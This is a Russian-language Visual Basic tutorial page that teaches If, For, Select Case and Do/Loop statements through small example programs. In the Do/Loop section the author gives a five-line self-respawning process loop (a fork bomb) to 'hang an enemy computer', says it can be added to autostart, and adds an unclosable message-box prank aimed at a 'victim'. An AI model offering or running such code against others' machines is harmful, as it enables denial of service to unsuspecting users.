Здравствуйте Гость
Сегодня Воскресенье 29.06.2025 01:01

Visual Basic

Форма входа
Мини-чат
500
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Меню сайта
Поиск
Главная » Статьи » Уроки

Урок 7

Операторы Visual Basic

 

Условный оператор

Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа.

If Условие Then
Серия 1
Else
Серия 2
End If

ИЛИ
If Условие Then Серия 1

Если ты изучал какой - нибуть язык(JavaScript, C++...), то ты знаком с этими операторами, а если не изучал, то не знаком. Это я к тому, что ели ты изучал языки, то ты знаешь как этими операторами пользоваться, и можешь немного пропустить; а если не изучал то нужно читать все!!!
После оператора If(истина) следует условие, а после условия следует ключевое слово Then. Если на месте условия, мы напишем k = 0,то если k будет = 0, будет выполняется Серия 1; Else(ложь), если k = 1, а не 0,то будет выполнятся Серия 2.В конце всегда пишем End If. 

Подробнее об Условном операторе

Чтобы получше понять этот раздел, надо сделать программу. Открой VB(Standart EXE), на форму кинь 3 кнопки, у первой Caption = 1, у второй = 2, у 3 - ей = IF.  Код:

Dim a As Long 'Объявляем переменную a для хранения чисел 

Private Sub Command1_Click() 'При нажатии на кнопку:
a = 1 'a = 1
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку:
a = 2 'a = 2
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If a = 0 Then ' Если ни чего не нажато:
MsgBox "Ни чего не нажато", 64, "Ну что понял?"
End If

If a = 1 Then ' Если a = 1, то комп выводит сообщение что была нажата кнопка 1 (т.к. при нажатии на кнопку 1 a будет = 1):
MsgBox "Нажата кнопка 1", 64, "Ну что понял?"
a = 0 ' a Будет равно 0
End If

If a = 2 Then ' Здесь анологично:
MsgBox "Нажата кнопка 2", 64, "Ну что понял?"
a = 0
End If
End Sub

Исходник

Оператор цикла со счетчиком

Оператор цикла со счетчиком тоже бывает полезен, но до условного ему далеко. Он нужен для того чтоб выполнять одно действие несколько раз. Например, в программе кодировщик, без него не обойтись. Он работает очень просто - функция Len считает сколько букв, и это число передается оператору цикла, и он за каждый заход кодирует 1 символ, и это продолжается до тех пор, пока не кончится счетчик (а он равен количеству букв(Len)).

For Счетчик = Начальное Значение To Конечное значение
Действия
Next Счетчик

Например:

Private Sub Command1_Click() 'При нажатии на кнопку: 
For i = 0 To 4 'Действие будет обновляться 5 раз(0,1,2,3,4)
MsgBox ""
Next i
End Sub

Оператор Select Case

С помощью этого оператора можно заменить условный оператор, это удобнее(т.к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так. 

Select Case Переменная или выражение
Case Значение 1
Действие
Case Значение 1
Действие
...
Case Else Действие в случае несовпадения End Select 

Теперь сделаем такую же программу как и в условном операторе. Войди в VB(Standart EXE), на форму кинь 1 кнопку, Caption = Case. Код:

Dim a As String 'Объявляем переменную a для хранения символов 
Private Sub Command1_Click()
a = InputBox("Как тебя зовут", "Опрос")
Select Case a
Case "Падре" 'Если a = "Падре", то комп выводит сообщение, что этот ник уже забит
MsgBox "Падре - это я", 64, "Ну что врубился?" Case "Малыш" 'Если a = "Малыш", то комп выводит сообщение
MsgBox "Это правда?", 64, "Ну что врубился?"
Case Else 'Если a равно чему - то другому то комп выводит сообщение
MsgBox "Какой - то неизвестный у тебя ник", 64, "Ну что врубился?"
End Select
End Sub

Теперь я просто обязан дать тебе задание: Сделай тоже самое, что мы делали с оператором Case(сверяли имя), только на операторе IF, и наоборот. Делай. Исходник можешь скачать отсюда

Ну, в VB есть еще и оператор цикла с условием, но он пока нам не нужен(может как - нибуть потом...).

Операторы Do, Loop, Until 

Использование:

Do

<...операторы...>

Loop

Вгоняет комп  бесконечный цикл.

Например, всего 5ю строчками вражий комп можно повесить намертво (спасет только зажимание кнопки включения, приводящее к его аварийному отключениювынимание батареек), пишем в модуль:

sub main() 
do
shell app.path & "\" & app.exename & ".exe"
loop
end sub

(Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus.exe /f где virus.exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)

Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.

Или другой пример (а здесь еще и использование случайного генератора чисел!)

Sub Main() 
Call Randomize
random1 = Rnd
If random1 < 0.75 Then
Do
MsgBox "Хахахаха, ламерз маст дай!"
Loop
End If
End
End Sub

Что делает код: сначала генерирует ряд случайных чисел,

затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то

начать цикл и постоянно выводить сообщение (есичо, Loop - "закрывающий" оператор для Do, как Next для For и End If для If). Суть заключаются в том, что жертва  не сможет закрыть эту прогу. Если она конечно вывалится - если случ.число больше 0.75 то прога просто выключится.

А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.

1ый способ:

do 
'Здесь мог быть ваш код
loop until x = 1

Второй:

do 
if x <> 1 then
'Здесь мог быть ваш код
else
exit do 'Выходим из цикла
end if
loop

Вот и все!

Категория: Уроки | Добавил: vacsa (21.05.2013) | Автор: Денис
Просмотров: 1190 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]